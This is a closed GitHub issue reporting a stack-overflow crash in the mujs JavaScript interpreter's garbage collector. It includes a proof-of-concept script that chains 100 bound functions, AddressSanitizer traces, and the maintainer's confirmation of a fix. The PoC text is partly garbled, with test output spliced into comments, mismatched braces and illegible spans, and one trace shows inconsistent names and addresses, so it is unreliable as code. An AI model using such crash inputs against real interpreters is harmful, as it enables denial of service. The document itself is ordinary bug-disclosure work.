

New issue

[Jump to bottom](#)

stack overflow #134

🔒 Closed rain6851 opened this issue on Apr 17, 2020 · 3 comments

rain6851 commented on Apr 17, 2020

Enviroment

operating system: ubuntu18.04
compile command: make build=sanitize

test command: ./mujs poc

poc

```
/*
 * est bound function chainnal implementation
 * to "collapse" bound funct
 */
====
F() bound foo
object this-F
string foo
undefined undefined
undefined undefined
undefined undefined
G() bound bound foo
object this-F
string foo
string bar
string quux
unarg-52
53 string arg-53
54 string arg-54
55 string arg-55
56 string arg-56
57 string arg-57
58 string arg-58
59 string arg-59
60 string arg-60
61 string arg-61
62 string arg-62
63 string arg-63
64 string arg-64
65 string arg-65
66 string arg-66
67 string arg-67
68 string arg-68
69 string arg-69
70 string arg-70
71 string arg-71
72 string arg-72
73 string arg-73
74 string arg-74
75 string arg-75
76 string arg-76
77 string arg-77
78 string arg-78
79 string arg-79
80 string arg-80
81 string arg-81
82 string arg-82
83 string arg-83
84 string arg-84
85 string arg-85
86 string arg-86
87 string arg-87
88 string arg-88
89 string arg-89
90 string arg-90
91 string arg-91
92 string arg-92
93 string arg-93
94 string arg-94
95 string arg-95
96 string arg-96
97 string arg-97
98 string arg-98
99 string arg-99
===*/

function test() {
  var func;
  var F, G, H, I;

  // Final function is an ECMAScript function.

  func = function foo(a, b, c, d) {
    print(typeof this, this);
    print(typeof a, a);
    print(typeof b, b);
    print(typeof c, c);
    print(typeof d, d);
  };
};
```

```

F = func.bind('this-F', 'foo');
G = F.bind('this-G', 'bar', 'quux');
H = G.bind('this-H', 'baz', 'quux');
I = G.bind('this-I', 123, 234); // both H and I bind via G

print('F()', F.name);
F();
print('G()', G.name);
G();
print('H()', H.name);
H();
print('I()', I.name);
I();

// Final function is a native function.

func = Math.max;
F = func.bind(null);
G = F.bind(null, 3);
H = G.bind(null, 4);
I = H.bind(null, 5);

print('F()', F.name);
print(F());
print('G()', G.name);
print(G());
print('H()', H.name);
print(H());
print('I()', I.name);
print(I());

// Lightfunc final target needs testing too; it is covered by Math.max()
// if DUK_USE_LIGHTFUNC_BUILTINS is enabled.

// Long chain.

func = function foo() {
    print(typeof this, this);
    print(arguments.length);
    for (var i = 0; i < arguments.length; i++) {
        print(i, typeof arguments[i], arguments[i]);
    }
};

for (var i = 0; i < 100; i++) {
    func = func.bind('this-' + i, 'arg-' + i);
}
print(func.name);
func();
}

try {
    test();
} catch (e) {
}

```

vulnerability description:

Poc will cause stack overflow. As shown below:

```

ASAN:SIGSEGV
=====
==19628==ERROR: AddressSanitizer: stack-overflow on address 0x7ffd0fa89ff8 (pc 0x00000041ecf2 bp 0x7ffd0fa8a010 sp 0x7ffd0fa89ff0 T0)
#0 0x41ecf1 in jsG_markproperty /home/node/xmujjs/jsGc.c:76
#1 0x41f19b in jsG_markobject /home/node/xmujjs/jsGc.c:94
#2 0x41efaf in jsG_markproperty /home/node/xmujjs/jsGc.c:83
#3 0x41ed74 in jsG_markproperty /home/node/xmujjs/jsGc.c:77
#4 0x41f19b in jsG_markobject /home/node/xmujjs/jsGc.c:94
#5 0x41efaf in jsG_markproperty /home/node/xmujjs/jsGc.c:83
#6 0x41ed74 in jsG_markproperty /home/node/xmujjs/jsGc.c:77
#7 0x41edf3 in jsG_markproperty /home/node/xmujjs/jsGc.c:78
#8 0x41f19b in jsG_markobject /home/node/xmujjs/jsGc.c:94
#9 0x41efaf in jsG_markproperty /home/node/xmujjs/jsGc.c:83
#10 0x41ed74 in jsG_markproperty /home/node/xmujjs/jsGc.c:77
#11 0x41edf3 in jsG_markproperty /home/node/xmujjs/jsGc.c:78
#12 0x41f19b in jsG_markobject /home/node/xmujjs/jsGc.c:94
#13 0x41efaf in jsG_markproperty /home/node/xmujjs/jsGc.c:83
#14 0x41ed74 in jsG_markproperty /home/node/xmujjs/jsGc.c:77
#15 0x41edf3 in jsG_markproperty /home/node/xmujjs/jsGc.c:78
#16 0x41f19b in jsG_markobject /home/node/xmujjs/jsGc.c:94
#17 0x41efaf in jsG_markproperty /home/node/xmujjs/jsGc.c:83
#18 0x41ed74 in jsG_markproperty /home/node/xmujjs/jsGc.c:77
#19 0x41edf3 in jsG_markproperty /home/node/xmujjs/jsGc.c:78
#20 0x41f19b in jsG_markobject /home/node/xmujjs/jsGc.c:94
#21 0x41efaf in jsG_markproperty /home/node/xmujjs/jsGc.c:83
#22 0x41ed74 in jsG_markproperty /home/node/xmujjs/jsGc.c:77
#23 0x41edf3 in jsG_markproperty /home/node/xmujjs/jsGc.c:78
#24 0x41f19b in jsG_markobject /home/node/xmujjs/jsGc.c:94
#25 0x41efaf in jsG_markproperty /home/node/xmujjs/jsGc.c:83
#26 0x41ed74 in jsG_markproperty /home/node/xmujjs/jsGc.c:77
#27 0x41edf3 in jsG_markproperty /home/node/xmujjs/jsGc.c:78
#28 0x41f19b in jsG_markobject /home/node/xmujjs/jsGc.c:94
#29 0x41efaf in jsG_markproperty /home/node/xmujjs/jsGc.c:83
#30 0x41ed74 in jsG_markproperty /home/node/xmujjs/jsGc.c:77
#31 0x41edf3 in jsG_markproperty /home/node/xmujjs/jsGc.c:78
#32 0x41f19b in jsG_markobject /home/node/xmujjs/jsGc.c:94
#33 0x41efaf in jsG_markproperty /home/node/xmujjs/jsGc.c:83
#34 0x41ed74 in jsG_markproperty /home/node/xmujjs/jsGc.c:77
#35 0x41edf3 in jsG_markproperty /home/node/xmujjs/jsGc.c:78
#36 0x41f19b in jsG_markobject /home/node/xmujjs/jsGc.c:94
#37 0x41efaf in jsG_markproperty /home/node/xmujjs/jsGc.c:83
#38 0x41ed74 in jsG_markproperty /home/node/xmujjs/jsGc.c:77
#39 0x41edf3 in jsG_markproperty /home/node/xmujjs/jsGc.c:78
#40 0x41f19b in jsG_markobject /home/node/xmujjs/jsGc.c:94
#41 0x41efaf in jsG_markproperty /home/node/xmujjs/jsGc.c:83
#42 0x41ed74 in jsG_markproperty /home/node/xmujjs/jsGc.c:77
#43 0x41edf3 in jsG_markproperty /home/node/xmujjs/jsGc.c:78

```

[illegible]

[illegible]

rain6851 commented on May 7, 2020

@ccxvii @sebras please check the issues.

Reproducible on FreeBSD:

AddressSanitizer:DEADLYSIGNAL

```
=====
==18375==ERROR: AddressSanitizer: stack-overflow on address 0x7ffdf0000000 (pc 0x000000000000 bp 0x7ffdf0000000 sp 0x7ffdf0000000 T0)
#0 0x2f2189 in js6_markobject /usr/ports/lang/mujs/work/mujs-1.0.7/./js6gc.c:94:34
```

```
SUMMARY: AddressSanitizer: stack-overflow /usr/ports/lang/mujs/work/mujs-1.0.7/./js6gc.c:94:34 in js6_markobject
==18375==ABORTING
```

ccxvii commented on May 27, 2020

Owner

Should be fixed with the same commit that fixed issue 133. Thanks for the report!

 ccxvii closed this as completed on May 27, 2020

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

3 participants

